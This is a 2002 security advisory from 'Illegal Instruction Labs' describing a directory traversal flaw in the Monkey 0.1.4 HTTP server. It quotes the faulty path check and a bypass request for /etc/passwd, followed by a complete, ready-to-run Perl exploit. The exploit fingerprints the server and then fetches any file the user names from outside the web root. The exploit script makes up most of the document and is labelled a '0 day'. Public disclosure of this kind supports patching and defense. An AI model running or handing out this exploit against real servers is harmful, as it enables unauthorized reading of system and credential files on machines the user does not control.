IIL Advisory: Reverse traversal vulnerability in Monkey (0.1.4) HTTP server

[DownBload <downbload () hotmail com>]

                    [ Illegal Instruction Labs Advisory ]
[-------------------------------------------------------------------------]
Advisory name: Reverse traversal vulnerability in Monkey (0.1.4) HTTP 
server
Advisory number: 12
Application: Monkey (0.1.4) HTTP server
Application author: Eduardo Silva 
(EdsipeR)                                         
Author e-mail: edsiper () linux-chile org
Monkey Project: http://monkeyd.sourceforge.net
Date: 06.09.2002
Impact: Attacker can read files out of SERVER_ROOT directory
Tested on: Debian 2.1 (2.0.36 kernel)
Discovered by: DownBload                                                
Mail me @: downbload () hotmail com     




======[ Overview 
Monkey is very simple and fast HTTP server (daemon). 
Monkey supports HEAD & GET methods, multiple connections, 100 MIME types.




======[ Problem         
Monkey doesn't check HTTP request for ../ string, and because of that, 
attacker can view any file out of SERVER_ROOT directory which Monkey can 
read (if Monkey is running under root account, attacker can read any file 
on that machine). 
There is still one thing which will make attack a little more "complicate":

- src/method.c
...
if((strcmp(aux_request,"/"))==0 || aux_request[1]=='.' ) {
        snprintf(filename,255,"%s",SERVER_ROOT);
}
...

Translated to (poor:) english: 
If our request is / or second char of our request is . , than path will be
set to SERVER_ROOT, and in that case, we can't go out of SERVER_ROOT 
directory. 

Previous "if" will prevent simple reverse traversal attack like this one:
---cut here---
GET /../../../../../../../../../etc/passwd HTTP/1.0
---cut here---

But can't prevent this reverse traversal attack:
---cut here---
GET //../../../../../../../../../etc/passwd HTTP/1.0
---cut here---




======[ Exploit

---cut here---
#!/usr/bin/perl
#
# (0 day;) Monkey-0.1.4 reverse traversal exploit 
#
# Usage: 
#    perl monkey.pl <hostname> <httpport> <file>
#
#    <hostname> - target host 
#    <httpport> - port on which HTTP daemon is listening
#    <file>     - file which you wanna get
#
# Example:
#    perl monkey.pl www.ii-labs.org 80 /etc/passwd
#   
#                             by DownBload <downbload () hotmail com>
#                             Illegal Instruction Labs 
#
use IO::Socket;

 sub sock () {
   $SOCK = IO::Socket::INET->new (PeerAddr => $host, 
                                  PeerPort => $port,
                                  Proto    => "tcp") 
   || die "[ ERROR: Can't connect to $host!!! ]\n\n";
 }

 sub banner() {
  print "[--------------------------------------------------]\n";
  print "[       Monkey-0.1.4 reverse traversal exploit     ]\n";
  print "[        by DownBload <downbload\@hotmail.com>      ]\n";
  print "[             Illegal Instruction Labs             ]\n";
  print "[--------------------------------------------------]\n";
 }

 if ($#ARGV != 2)
 {
  banner();
  print "[ Usage:                                           ]\n";
  print "[    perl monkey.pl <hostname> <httpport> <file>   ]\n";
  print "[--------------------------------------------------]\n";
  exit(0);
 } 

 $host = $ARGV[0];
 $port = $ARGV[1];
 $file = $ARGV[2];

 banner();
 print "[ Connecting to $host... ]\n";
 sock();
 print "[ Sending probe... ]\n";
 print $SOCK "HEAD / HTTP/1.0\n\n";
 while ($a = <$SOCK>) { $line = $line . $a; } 
 if ($line =~ /Monkey/) { print "[ Monkey HTTP server found, 
continuing... ]\n"; }
 else { die "[ SORRY: That's not Monkey HTTP server :( ]\n\n"; }
 close ($SOCK);

 print "[ Connecting to $host... ]\n";
 sock();
 print "[ Sending GET request... ]\n";
 print $SOCK "GET //../../../../../../../../../$file HTTP/1.0\n\n";
 print "[ Waiting for response... ]\n\n";
 while ($line = <$SOCK>) { print $line; }
 close ($SOCK);
---cut here---




======[ Greetz 
Greetz goes to #hr.hackers, #ii-labs and #linux <irc.carnet.hr>. 
Special greetz goes to (rand()): St0rm, BoyScout, h4z4rd, finis, Sunnis, 
Fr1c, phreax, StYx, harlequin, LekaMan, Astral and www.active-security.org 
(NetZero & Paradox). I'm very sorry if I forgot someone.